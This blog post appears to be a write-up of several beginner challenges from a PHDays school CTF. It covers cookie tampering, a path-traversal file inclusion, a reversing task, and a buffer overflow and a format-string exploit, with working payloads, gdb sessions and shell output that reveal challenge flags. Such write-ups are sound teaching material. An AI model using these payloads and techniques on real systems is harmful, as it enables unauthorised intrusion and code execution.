The
h34dump CTF team from Novosibirsk hosted an awesome
CTF today as a part of the
PHDays conference. It was a school CTF with easier tasks. Let's see the solutions for some of the challenges.
h4x0rs_food
Type: web
Points: 50
The task description is a link to a webpage. After opening the page this is what we see:
A simple page made with bootstrap that contains a login form. Trying some SQLi vectors doesn't help here. Then I started looking for hints and checked the cookies. And then it hit me. The task's name is 'food' and there is a picture of cookies. Of course.
There was a single cookie with the name 'is_super_admin' and its value was false. We can change this to true and after refreshing we find level 2. Another cookie appears with the name 'good_job!level2_calc_100500^2'. The task is quite obvious here so I pop up a python interpreter.
>>> 100500**2
10100250000L
I change the second cookie's value and the first task is solved.
h4x0r_library
Type: web
Points: 200
The task description is a link again and this is what the page looks like:
The url is
http://ctf.h34dump.com/web1/?file=library.html
This looks like a classic LFI, but trying to load
/etc/passwd doesn't work. The next thing I try to include is
index.php.
http://ctf.h34dump.com/web1/?file=index.php
Again this fails, but if we change the directory it will finally work.
http://ctf.h34dump.com/web1/?file=../index.php
After including the php file we see some php code on the screen, but to see it all we have to look into the source.
And the source contains an interesting line:
static $black_list = array('flag_for_super_hacker.txt');
Looking at this text file gives us the flag:
| k3y is l0c4l_c0d3_3x3cut10n_1s_f1n3 |
This task was a bit strange for me. Usually when php code is included via LFI the code is filtered out between the
<?php and
?> tags.
All in all the web tasks were pretty easy, but since these tasks are intented for beginners I can understand this.
keyasker
Type: binary
Points: 100
Keyasker was the first binary challenge. It is still available online
here. Unless they took it down already, feel free to try cracking it yourself before reading the solution. This is what the application looked like from the "outside".
Let's see it in IDA. We load the binary and start looking around. The first thing I did was to look at the strings window.
Looking at the xrefs showed me where the key is checked. After this I looked at the pseudocode (Options/Compiler... sizeof(bool) = 4). Here is the most important part:
sprintf(&v11, "%08x", v5);
if ( memcmp(&v11, &v10[8 * v8], 8u) )
goto LABEL_17;
if ( *(_BYTE *)v2 ) {
++v8;
v1 = v2;
goto LABEL_14;
}
return puts("Great! Now go and get your points!");
The above code runs after a part of the input is "hashed" using the "I'm related to flag" string as a sort-of salt (at least this is what I thought initially).
v11 is the address for the hashed data and
v10 points to the input.
LABEL_17 prints "No :(" and exits, while
LABEL_14 continues the "hashing". The code checks whether the first 8 bytes of the "hash" equals the key. If it does, it continues checking the next 8 bytes and so on.
The part that hashes the input was kind-of obfuscated and I was too lazy to fully understand what it does. This spared me a load of time because I started trying sample inputs rather than reverse engineering the hash function. Based on the code I knew that the key is 32 characters long. I set up a few breakpoints and entered a few input values. After a few values I realized that the "hash" is always the same and it doesn't even use the input, it comes purely from the string "I'm related to flag".
After discovering this the solution was easy. I entered a test value and looked at the first 8 bytes of the hash. I stopped debugging and entered a new value with the correct first 8 bytes. I did this until I got all of the 32 bytes correctly.
The flag was this key:
69ccc0dd616f12d151525fc9f753ec9f
greeter1
Type: binary
Points: 200
The task description contained ssh credentials to a machine. If you didn't participate in the CTF feel free to try solving the task before reading on, I guess the machine will be on for a few days.
This service just says hello to everyone! I hate it! Do something with it!
ssh user@ctf.h34dump.com -p22200
pass: user;
After logging in we see a text file, that possibly contains the flag, and an executable called greeter.
Naturally we don't have access to the flag.txt file. The greeter application is a simple program that asks for a name and echoes it back. The task description says "Do something with it" so it's pretty clear that this is where we should start. Let's load the binary in IDA.
Okay, this is a gaping hole, but hey, it's perfect for this sort-of introductory CTF. What we see here is a classic
buffer overflow. The buffer's size is 0x100 and we read 0x140 characters, overwriting the return address. Let's exploit it. Using gdb we can check what happens when the buffer is overflowed.
gdb ./greeter
(gdb) disas main
(gdb) b *main+67 // breakpoint after fgets
(gdb) r
After this we enter a large input, let's say ~300 bytes. This is the input I used to be able to locate every byte:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
The first 256 bytes won't matter since they will be inside the buffer. After the input we can start stepping in gdb (ni command) and see what happens. After 11 steps we get to the ret instruction and when the
ret runs we get an error:
Cannot access memory at address 0x31305a5d
The program tried to return to the address 0x31305a5d. Since the architecture is little-endian we have to reverse this to get: 0x5d5a3031. In ASCII this is "]Z01" which is almost what the input contained, except the first value (which was Y) was incremented by 4. This probably happened after the fgets call and before the return. Nothing to worry about, since we can always compensate.
We can control where we return from the main function and they even added a branch to the program that starts a shell for us. To enter this branch the 'a' variable's value has to be non-zero. But since we can jump anywhere, we can just jump to the start of the shell without changing 'a'-s value. Let's see where we have to jump.
(gdb) disas main
// Just the relevant part
0x080484e3 <main+83>: mov 0x8049740,%eax
0x080484e8 <main+88>: test %eax,%eax
0x080484ea <main+90>: je 0x8048508 <main+120>
0x080484ec <main+92>: movl $0x0,0x8(%esp)
(Note that this is AT&T syntax, so the source and destination are switched here)
We can see that the test occurs at 0x080484e8 and we want to jump (return) to 0x080484ec. Let's subtract 4 to compensate for the increase mentioned earlier. To test this I created an input with lots of 'a' characters and in place of the return address a special string that we will change from gdb (since we can't simply input non-ascii characters). This special string will be changed to the return address in gdb using the following command:
(gdb) set {int}(0xbfc33708) = 0x080484e8
(Where 0xbfc33708 is the location of our "special" string in the buffer). Let's see what happens now. This is where we end up after ret:
0xb765000a: jno 0xb7650081
Weird. It looks like we jumped to a different address. After double-checking this address turned out to be the next value in the stack so we need to add the return address there. This is the final input:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe8\x84\x04\x08\xec\x84\x04\x08
(The new address doesn't need to be decreased by 4)
This is where I got stuck a bit. You can't enter the non-ASCII values in the program itself but you can use printf and echo the created string this way:
echo $(printf "aaaa...\xec\x84\x04\x08") | ./greeter
The only problem is that this way we won't be able to control the shell we have. I tried entering multiple lines so that the next line would be interpreted by the shell but it didn't work.
The solution is to store the input in a file and use
cat to copy it to the standard input of the executable.
cat handles the "-" file name in a special way - it means "stdin". This is how we can get a shell:
user@localhost:~$ echo $(printf "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xec\x84\x04\x08") > /tmp/dont_guess_this
user@localhost:~$ cat /tmp/dont_guess_this - | ./greeter
What is your name? (up to 256 chars)
Hello, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaě
ls
flag.txt greeter
cat flag.txt
0v3rfl0wn_buff3r_1s_s0_cu7e
And we are done. Thanks to the CTF admins who taught me what the dash means when using the
cat command.
greeter2
Type: binary
Points: 300
The setup is the same here except the port is 22201. The greeter executable works the same as the previous one, but there must be a vulnerability somewhere. This is what we get after loading the binary in IDA:
int __cdecl main()
{
char v1; // [sp+10h] [bp-110h]@1
memset(&v1, 0, 0x100u);
puts("What is your name? (up to 256 chars)");
fgets(&v1, 256, stdin);
printf("Hello, ");
printf(&v1);
if ( a )
execlp("/bin/sh", "/bin/sh", 0);
return 0;
}
Another gaping hole, this time a
format string vulnerability. Again, I believe these really obvious vulnerabilities are perfect for this kind of CTF. I'm not an expert and I had fun figuring out both the buffer overflow and the format string exploits.
Overwriting arbitrary memory is easier than jumping to an arbitrary location with a format string vulnerability, so this time we will try to overwrite the 'a' variable. Its location can be found with gdb.
(gdb) disas main
// Just the relevant part
0x080484e7 <main+87>: mov 0x804973c,%eax
0x080484ec <main+92>: test %eax,%eax
0x080484ee <main+94>: je 0x804850c <main+124>
0x080484f0 <main+96>: movl $0x0,0x8(%esp)
So the address is 0x804973c - it is loaded into %eax then tested. The value has to be non-null in order to enter the shell's branch (where execlp is).
The most powerful tool to exploit format string vulnerabilities is %n. This format string takes the first address on the stack (4 bytes), counts the amount of characters written so far and then writes this number to the address at the top of the stack. All we need to do is set the stack-pointer to the address of the 'a' variable then put %n to the end of the format string.
But how do we know that the stack has the correct value on the top? We can easily see what's on the stack using %x (or %08x for nicer output). Let's experiment a little.
user@localhost:~$ ./greeter
What is your name? (up to 256 chars)
AAAA %08x
Hello, AAAA 00000100
user@localhost:~$ ./greeter
What is your name? (up to 256 chars)
AAAA %08x %08x
Hello, AAAA 00000100 b76f3420
user@localhost:~$ ./greeter
What is your name? (up to 256 chars)
AAAA %08x %08x %08x
Hello, AAAA 00000100 b76fa420 b7721be0
user@localhost:~$ ./greeter
What is your name? (up to 256 chars)
AAAA %08x %08x %08x %08x
Hello, AAAA 00000100 b77a5420 b77ccbe0 41414141
Bingo. We now know where the input is in the stack. If this method doesn't give a result fast enough it could also be done in gdb. This is how the final input will look like (don't forget endianness):
\x3c\x97\x04\x08%x%x%x%n
Just like before we can't echo this to the stdin of greeter, we need to create a file again. Note that
% symbols need to be escaped using
%%.
user@localhost:~$ echo $(printf "\x3c\x97\x04\x08%%x%%x%%x%%n") > /tmp/dont_guess_this
user@localhost:~$ cat /tmp/dont_guess_this - | ./greeter
What is your name? (up to 256 chars)
Hello, 100b77c3420b77eabe0
ls
flag.txt greeter
cat flag.txt
c4r3ful_w1th_f0rm4t
And we got the flag!
This was a pretty good task-based CTF. I finished at the 5th place with my one-man team. The forensics and crypto challenges were interesting too. Thanks again to all of the h34dump team!